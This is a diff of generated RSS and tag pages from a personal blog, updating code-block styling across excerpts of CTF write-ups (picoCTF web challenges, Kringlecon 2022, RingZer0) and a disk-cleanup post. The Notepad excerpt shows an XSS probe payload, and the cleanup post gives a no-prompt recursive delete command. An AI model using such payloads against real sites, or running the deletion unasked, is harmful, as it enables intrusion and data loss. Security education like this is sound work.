&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SecretGenerator&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Logger logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LoggerFactory.&lt;span style="color:#a6e22e"&gt;getLogger&lt;/span&gt;(SecretGenerator.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; String SERVER_SECRET_FILENAME &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;server_secret.txt&amp;#34;&lt;/span&gt;;
@@ -100,7 +100,7 @@ We are also given the source code of the application.&lt;/p&gt;
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
@@ -152,7 +152,7 @@ about.&lt;/p&gt;
&lt;a href="http://mercury.picoctf.net:60022/index.html"&gt;http://mercury.picoctf.net:60022/index.html&lt;/a&gt;
where we find a simple textbox prompting us to submit the flag.&lt;/p&gt;
&lt;p&gt;Looking at the page source by pressing &lt;code&gt;ctrl&lt;/code&gt; &lt;code&gt;u&lt;/code&gt;, we see that it is sourcing javascript code from &lt;code&gt;rTEuOmSfG3.js&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While examining the javascript, we will notice that it is obfuscated and
packed. Put this through &lt;a href="https://lelinhtinh.github.io/de4js/"&gt;de4js&lt;/a&gt; to
prettify it.&lt;/p&gt;</description></item><item><title>Pixelated</title><link>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</link><pubDate>Tue, 22 Nov 2022 09:25:20 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</guid><description>&lt;p&gt;This challenge gives use two images and asks us if we can make a flag out of them.
@@ -170,7 +170,7 @@ installing the suite of tools.&lt;/p&gt;
&lt;h1 id="operation-oni"&gt;Operation Oni&lt;/h1&gt;
&lt;p&gt;The challenge has an associated instance which we&amp;rsquo;ll need to log into using SSH using
the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are provided with a compressed disk image &lt;code&gt;disk.img.gz&lt;/code&gt; which we&amp;rsquo;ll decompress with:&lt;/p&gt;</description></item><item><title>JAuth</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</link><pubDate>Tue, 22 Feb 2022 14:49:34 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</guid><description>&lt;p&gt;The challenge description states that most web application developers use third party components without testing their security.
It mentions some past affected companies, then asks us to identify and exploit the vulnerable component for the challenge at &lt;a href="http://saturn.picoctf.net:52025/"&gt;http://saturn.picoctf.net:52025/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The goal is to become an &lt;code&gt;admin&lt;/code&gt;.
@@ -178,7 +178,7 @@ We are provied with the username &lt;code&gt;test&lt;/code&gt; and the password
&lt;p&gt;The challenge is a dummy bank portal. On login, we see the message:&lt;/p&gt;</description></item><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>PowerShell - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/tags/powershell/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><h2>Kringlecon 2022 Writeup</h2></a><time>Jan 9, 2023 | 30 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/binary-exploitation class=list-tag>Binary Exploitation</a>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Powershell - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/tags/powershell/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><h2>Kringlecon 2022 Writeup</h2></a><time>Jan 9, 2023 | 30 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/binary-exploitation class=list-tag>Binary Exploitation</a>
<a href=https://lavafroth.is-a.dev/tags/ci-exploitation class=list-tag>CI Exploitation</a>
<a href=https://lavafroth.is-a.dev/tags/cloud-security class=list-tag>Cloud Security</a>
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>

View File

@@ -1,11 +1,11 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>PowerShell on lavafroth</title><link>https://lavafroth.is-a.dev/tags/powershell/</link><description>Recent content in PowerShell on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 09 Jan 2023 10:36:35 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/tags/powershell/index.xml" rel="self" type="application/rss+xml"/><item><title>Kringlecon 2022 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</link><pubDate>Mon, 09 Jan 2023 10:36:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</guid><description>&lt;p&gt;This writeup is rather haphazard as I jumped around from one place to another
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Powershell on lavafroth</title><link>https://lavafroth.is-a.dev/tags/powershell/</link><description>Recent content in Powershell on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 09 Jan 2023 10:36:35 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/tags/powershell/index.xml" rel="self" type="application/rss+xml"/><item><title>Kringlecon 2022 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</link><pubDate>Mon, 09 Jan 2023 10:36:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</guid><description>&lt;p&gt;This writeup is rather haphazard as I jumped around from one place to another
solving different unrelated challenges. Although the writeup covers all the
challenges, it definitely is not sequential. Just wanted to point that out
before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item><item><title>Liberating 14GiB of disk space</title><link>https://lavafroth.is-a.dev/post/liberating-14gib-of-space/</link><pubDate>Mon, 21 Feb 2022 13:15:26 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/liberating-14gib-of-space/</guid><description>&lt;p&gt;The idea is simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remove all duplicates, including zero length files&lt;/li&gt;
@@ -14,6 +14,6 @@ cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;p&gt;Since the mileage for second step might vary from person to person, I&amp;rsquo;ll elaborate on the first step.&lt;/p&gt;
&lt;p&gt;I chose &lt;a href="https://codeberg.org/jbruchon/jdupes"&gt;jdupes&lt;/a&gt; for deleting the duplicates because it&amp;rsquo;s open-source and is cross platform.&lt;/p&gt;
&lt;p&gt;For a given folder we would run the following to wipe the duplicates:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will recursively delete all the duplicates except the source file without prompting for a confirmation.
It will also consider zero length files to be duplicates.&lt;/p&gt;</description></item></channel></rss>

View File

@@ -31,7 +31,7 @@ Although, OpenAI&amp;rsquo;s Triton and ZLUDA are worth keeping an eye on.&lt;/p
&lt;p&gt;The source code provided with the challenge imports the &lt;code&gt;sys&lt;/code&gt; module giving us an opportunity to chain its functionalities.&lt;/p&gt;</description></item><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py

View File

@@ -19,7 +19,7 @@ reference meant.&lt;/p&gt;
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
@@ -71,7 +71,7 @@ about.&lt;/p&gt;
&lt;a href="http://mercury.picoctf.net:60022/index.html"&gt;http://mercury.picoctf.net:60022/index.html&lt;/a&gt;
where we find a simple textbox prompting us to submit the flag.&lt;/p&gt;
&lt;p&gt;Looking at the page source by pressing &lt;code&gt;ctrl&lt;/code&gt; &lt;code&gt;u&lt;/code&gt;, we see that it is sourcing javascript code from &lt;code&gt;rTEuOmSfG3.js&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While examining the javascript, we will notice that it is obfuscated and
packed. Put this through &lt;a href="https://lelinhtinh.github.io/de4js/"&gt;de4js&lt;/a&gt; to
prettify it.&lt;/p&gt;</description></item><item><title>Kringlecon 2022 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</link><pubDate>Mon, 09 Jan 2023 10:36:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</guid><description>&lt;p&gt;This writeup is rather haphazard as I jumped around from one place to another
@@ -81,5 +81,5 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item></channel></rss>

View File

@@ -7,23 +7,23 @@ given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter &lt;code&gt;r&lt;/code&gt;. Let&amp;rsquo;s write
a go program to do that.&lt;/p&gt;
&lt;p&gt;First let&amp;rsquo;s declare the url as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page and defer closing its body once the program ends.&lt;/p&gt;</description></item><item><title>Hash Me Please</title><link>https://lavafroth.is-a.dev/post/r0-hash-me-please/</link><pubDate>Fri, 19 Aug 2022 09:57:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/r0-hash-me-please/</guid><description>&lt;p&gt;In this RingZer0 challenge, we are asked to visit
